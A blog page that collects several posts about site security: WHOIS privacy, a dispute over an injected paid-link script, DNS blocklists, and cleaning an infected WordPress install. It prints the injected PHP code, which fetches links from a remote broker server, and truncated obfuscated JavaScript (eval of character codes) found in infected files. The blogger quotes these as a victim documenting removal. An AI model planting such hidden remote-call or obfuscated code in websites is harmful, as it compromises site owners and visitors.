Hide your details on internet

Well, you should never use your email address on any website. Don’t give it out to anyone, don’t post it on forums, in short, don’t share it. Spammers set up bots to scan WHOIS directories. Every minute they get loads of contact details about people like me and you. Then, they sell this information to bidders who pay most. It’s impressive, isn’t it? Obviously, this way you get lots of spam to your email address associated with your domain name. And this is bad, very bad and annoying as well.

Now you are probably thinking how you can hide the contact information from bots. Basically, there is a way to hide your contact details. However, I am not absolutely sure if every domain owner can do it.

How to hide your contact details?

Domain owners have been asking for a feature to hide their contact information. In the past it was, kind of, impossible. Even so, now you can use a new feature called domain WHOIS privacy.  It’s been used and tested, and I can say that spam decreases considerably. I’ve already said you that I am not sure if everyone can use it but my host gives me this option just for 6$ a year.Trust me, it’s worth it.

I hope this new feature will stop spammers for ever. You might also like some articles on securing your blog.

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We had purchased a link via linkadage.com on your website which, would be why it appeared on your site. We do not condone hacking or SQL injection, please let me know when you have removed the page.

The problem is that I don’t sell links on my blog and don’t have an account on linkadage.com so unacceptable link hasn’t been generated by me. This fact has been approved by them. What are we still about? Just to remind you, about hacking my blog. So, after a quick search on Google, I have found some interesting information on SC. Well, another short extract from his blog:

I had created a few websites that were hosted on Geocities and Homestead based on Chess and Hacking (ultra-nerd). Within a few months, I found my hacking site to be a rather popular place that started earning a bit of commission selling “The Hackers Black Book”.

What a coincidence? Do I have to believe HP linking manager’s words? You cannot request anything from me. The post stays online. After this event, I have contacted my hosting providers hacking department, which is going to look into it in detail.

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Well, yesterday i logged on my blog and found a suspicious and unseen link. It hasn’t been placed by me cause, I am the only one who owns this blog. I’ve checked the source code of my template and found a PHP script code. The script code has been placed in sidebar.php but despite the fact that it’s also been injected it’s been made to look like it was a part of the sidebar.php. Have a look at it.

< ?php // THE FOLLOWING BLOCK IS USED TO RETRIEVE AND DISPLAY LINK INFORMATION. // PLACE THIS ENTIRE BLOCK IN THE AREA YOU WANT THE DATA TO BE DISPLAYED. // MODIFY THE VARIABLES BELOW: // The following variable defines whether links are opened in a new window // (1 = Yes, 0 = No) $OpenInNewWindow = “1″; // # DO NOT MODIFY ANYTHING ELSE BELOW THIS LINE! // ———————————————- $BLKey = “UM24-8PW7-5G63″; $QueryString = “LinkUrl=”.urlencode((($_SERVER['HTTPS']==’on’)?’https://’:'http://’).$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); $QueryString .= “&Key=” .urlencode($BLKey); $QueryString .= “&OpenInNewWindow=” .urlencode($OpenInNewWindow); if(intval(get_cfg_var(‘allow_url_fopen’)) && function_exists(‘readfile’)) { @readfile(“http://brokerage.linkadage.com/engine.php?”.$QueryString); } elseif(intval(get_cfg_var(‘allow_url_fopen’)) && function_exists(‘file’)) { if($content = @file(“http://brokerage.linkadage.com/engine.php?”.$QueryString)) print @join(”, $content); } elseif(function_exists(‘curl_init’)) { $ch = curl_init (“http://brokerage.linkadage.com/engine.php?”.$QueryString); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_exec ($ch); if(curl_error($ch)) print “Error processing request”; curl_close ($ch); } else { print “It appears that your web host has disabled all functions for handling remote pages and as a result the BackLinks software will not function on your web page. Please contact your web host for more information.”; } ? >

It’s strange, isn’t it? I don’t know if I can say that my blog’s been hacked. I’m supposed to say that it’s been hacked in a silent and friendly mode. Bloggers always want to know who does such a thing. There is only one website behind this, and I’m going to name it. The name was linking to a website called hpseo dot co dot uk. This is NOT an advertisement. I just want everyone to know about the bad guys. Don’t forget your blog and visit it from time to time. Thank you mates for stealing my page rank.

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RHSBL means Right Hand Side Block List, and it is the same as DNSBL. As you can see it is DNS based block list, and it doesn’t matter how you call it. You can name it a black hole, blacklist or block list. And if your computer or network would be linked to spamming you got a negative message. LHSBL means Left Hand Side Block List.

I will not tell you what to do to be removed from any list, but you can check if your website or blog is not blacklisted. And if you are listed on any list you will be able to see why your website has been blocked. There are two types of the list. White list and black list, so you will get information on both. Just go on blacklistalert.org and use this free service. Look at my results I’ve got.

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Almost all WordPress files were infected. I have downloaded them all and scanned with Anti Virus software.

All infected files were .php and .html only and if you take a look at the code of the original file and infected one you will see that there is an added code/virus.

Virus code

< script type=”text/javascript”>eval(String.fromCharCode(118,97…50,55))

Also some files were infected with this code:

< !– ad –>< script>function ixtdoyiepvo..cygw3E”.replace(/sqncygw/g, “”));< !– /ad –>

Virus removal

You may remove the virus from your site by deleting the codes mentioned above. You will have to clean all WordPress files but it takes time and requires your attention. I have deleted all files via FTP and uploaded the new ones. I also checked all HTML and PHP files. The easiest way is to delete old files and upload the new ones.Remember to check all folders under domain name.

Do not forget to check all your files manually to be sure that all files are clean. Also recheck your .htaccess file if it is not corrupted. I do not know how this the website was infected but i offer to change your ftp password as well.

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